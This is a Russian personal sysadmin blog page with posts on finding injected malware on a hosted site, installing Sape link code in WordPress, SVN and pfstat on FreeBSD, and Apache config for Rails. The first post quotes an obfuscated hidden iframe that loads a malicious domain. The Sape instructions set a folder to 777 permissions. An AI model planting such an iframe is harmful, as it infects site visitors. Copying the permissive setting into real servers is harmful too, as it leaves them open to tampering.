Rakovski.ru

Per aspera ad astra

145576Заглянул сегодня на один из сайтов который хостится у меня на сервере и тут же был извещен антивирусом о попытке подгрузить зловредный код. Полез искать где же там вирус сидит. После изучения кода страницы обнаружил вот такую хитро шифрованную ссылку:

<iframe src=»http://jL.ch&#117;ra.pl&#47;rc/» style=»d&#105;splay:none»></iframe>

В чистом виде ссылка ведет на jL.chura.pl/rc/ (лучше не ходить туда)

Владелец данного сайта адекватный человек и вряд ли сам додумался поставить на главную страницу подобный код. Будем разбираться.

25277_bВ пятницу уволился с работы. У фирмы хорошие шансы занять еще полупустой рынок интернет услуг, но зарплата и условия работы мягко говоря не очень.  В целом костяк сети построен, теперь остается лишь держать нужный темп иначе … А в прочем меня это уже не касается.

Теперь всё в моих руках. Собственно путь выживания один — фриланс. Предыдущие месяцы показали, что во фрилансе можно заработать такую же зарплату, что я получал на основной работе.

Решил попробовать начать окупать свои исторические проекты. Поставил на них сапу. В идеале хочу окупить затраты на услуги провайдера.  С одной стороны как-то неудобно перед посетителями моих проектов, с другой стороны это лучше чем проекты закроются совсем.

Так как теперь мой блог работает на WordPress, то пришлось переустанавливать код Sape. Для начала следуем инструкии с сайта Sape:

  1. Скачиваем себе архив в zip.
  2. Извлекаем из архива папку.
  3. Копируем эту папку в корень своего сайта на сервер.
  4. Ставим права 777 на эту папку (но не на файл sape.php).

Далее ставим сам код в страницу. В файл header.php между тегами </head> и <body> помещаем код данный на сайте:

<?php
global $sape;
if (!defined(‘_SAPE_USER’)){
define(‘_SAPE_USER’, ‘3a7fdcc40b66b8e87266400a10142d’);
}
require_once($_SERVER[‘DOCUMENT_ROOT’].’/’._SAPE_USER.’/sape.php’);
$sape = new SAPE_client();
?>

Затем вставляем дополнительный код туда, где будут размещаться сами ссылки. Для этого я выбрал файл sidebar.php.  Сам код вставляем между последними </ul> и  </div>:

<?php
global $sape;
echo mb_convert_encoding($sape->return_links(3), «UTF-8», «CP1251»);
?>
<?php
global $sape;
echo mb_convert_encoding($sape->return_links(), «UTF-8», «CP1251»);
?>

Этот код уже содержит  строчки для конвертирования текста из CP1251 в UTF-8.

Задача: установить SVN для разворачивания проектов на Ruby on Rails

Система: FreeBSD 6.3

Subversion version 1.6.2

Вначале понадобится переустановить Apache с поддержкой BDB. Лучше всего сделать так:
cd /usr/ports/www/apache22/
make deinstall clean
make config (выбираем BDB)
make install clean

Устанавливаем саму систему:
cd /usr/ports/devel/subversion
make install clean

Отмечаем пункты MOD_DAV_SVN и BDB.

В /usr/local/etc/apache22/httpd.conf должны появится следующие строчки:
LoadModule dav_svn_module libexec/apache22/mod_dav_svn.so
LoadModule authz_svn_module libexec/apache22/mod_authz_svn.so

Создаем репозиторий

Каталог для репозитория
mkdir -p /home/svn/repos

Каталог для вашего проекта
svnadmin create /home/svn/repos/_project_/

_project_ — заменить на имя вашего проекта (каталога).

Импортируем проект в репозиторий
cd /home/_project_/
svn import ./ file:///home/svn/repos/_project_ —message ‘Initial repository layout’

Установим права веб-сервера
chown -R www:www /home/svn/

Добавить в /usr/local/etc/apache22/httpd.conf
<location /svn>
DAV svn

# разрешает выдавать перечень всех доступных хранилищ в папке SVNParentPath
SVNListParentPath on
SVNParentPath /home/svn/repos
SVNPathAuthz off

# включения базовой аутентификации, т.е. имя_пользователя/пароль
AuthType Basic
AuthName «Subversion repository»
AuthUserFile /home/svn/svn-auth-file

# предписывает, что только пользователям, предоставившим правильные имя_пользователя/пароль,
# будет разрешён доступ к URL
Require valid-user
</location>

Теперь, создадим пользователей для доступа к вашему проекту
htpasswd -cmb /home/svn/svn-auth-file _user_ _password_

и добавляем пользователей, так как ключ “-c” указывает на создание файла
htpasswd -mb /home/svn/svn-auth-file _user_ _password_

Где _user_ и _password_ — имя и пароль соответственно.

Разворачиваем проект в нужной папке:
svn checkout http://_domain_/svn/_project_

Действия в Windows

Выше описанные действия носят общий характер. Теперь посмотрим как нужно действовать при разворачивании реального проекта.
Скачиваем клиент TortoiseSVN — http://tortoisesvn.net/downloads. После установки в контекстном меню появится специальный пункт для работы с SVN.

При первом размещении репозитория действия такие:

1. Создаем репозиторий на сервере FreeBSD

Каталог для репозитория
mkdir -p /home/svn/repos

Каталог для вашего проекта
svnadmin create /home/svn/repos/_project_/

_project_ — заменить на имя вашего проекта (каталога).

Установим права веб-сервера
chown -R www:www /home/svn/

2. Импортируем проект в репозиторий

На windows машине щелкаем ПКМ на папке нужного проекта, выбираем пункт «Import» и вводим URL созданного репозитория и пароль доступа.

3. Извлекаем проект из репозитория в нужный каталог на сервере:

Заходим в папку, где будет размещен проект и извлекаем его
svn checkout http://_domain_/svn/_project_

4. Извлекаем проект на windows машину командой из контекстного меню checkout. Это нужно для нормальной работы с репозиторием. Теперь все изменения нужно вносить только в этой папке.

5. Когда произошли дополнения в проекте на windows машине делаем команду commit и все изменения уходят в репозиторий на сервер. На сервере заходим в каталог проекта и делаем команду svn up. Теперь изменения скачались из репозитория в папку проекта на сервере.

Ссылки:
http://adw0rd.ru/2009/freebsd-subversion/

Устанавливам pfstat:

cd /usr/ports/sysutils/pfstat
make install clean

Создаем конфигурационный файл:

cd /usr/local/etc
touch pfstat.conf

pfstat.conf

collect 1 = interface «xl0» pass bytes in ipv4 diff
collect 2 = interface «xl0» pass bytes out ipv4 diff
image «/usr/local/www/apache22/data/pf_in.jpg»
{
from 24 hours to now
width 980 height 500
left
graph 1 bps «in» «bits/s» color 0 192 0 filled
right
graph 2 bps «out» «bits/s» color 0 0 255
}

Пишим задания для cron:
*/2 * * * * root /usr/local/bin/pfstat -q ## «снимать» данные
*/10 * * * * root /usr/local/bin/pfstat -p ## рисовать новую картинку

Картинку смотрим по адресу — http://IP_сервера/pf_in.jpg

Ссылки:
http://www.benzedrine.cx/pfstat.html

При переходе моего проекта orsk-net.ru с PHP на Ruby on Rails (Rails 2.2 + mod_rails) возникла одна сложность. На сайте работал форум доступный по адресу http://orsk-net.ru/forum и мне хотелось, чтобы он был доступен по тому же адресу. Решается эта задача следующим образом: в описании виртуального хоста в Apache нужно добавить секцию Location, где указывается директория в папке public нашего проекта, которая не должна использовать mod_rails. Так выглядит мой конфиг:

<VirtualHost *:80>
ServerAdmin admin@orsk-net.ru
ServerName orsk-net.ru
DocumentRoot «/usr/home/user/public_html/rails/public»
<Location /forum>
PassengerEnabled off
AllowOverride all
</Location>
ErrorLog «/var/log/error_log_user»
CustomLog «/var/log/access_log_user» common
</VirtualHost>

В папке public нужно сделать символическую ссылку на папку форума:
ln -s /usr/home/user/public_html/forum /usr/home/user/public_html/rails/public

С этими настройками всё заработало на Ура!

Фотографии из жизни

Кони возле Теренсая Праздник в честь основания Советского района города Орска. 24 июня 2012 года. День железнодорожника. 4 август 2012 года. Часть 2 День Советского района города Орска. 8 июня 2013 года День Советского района города Орска. 8 июня 2013 года День Советского района города Орска. 8 июня 2013 года

Подписка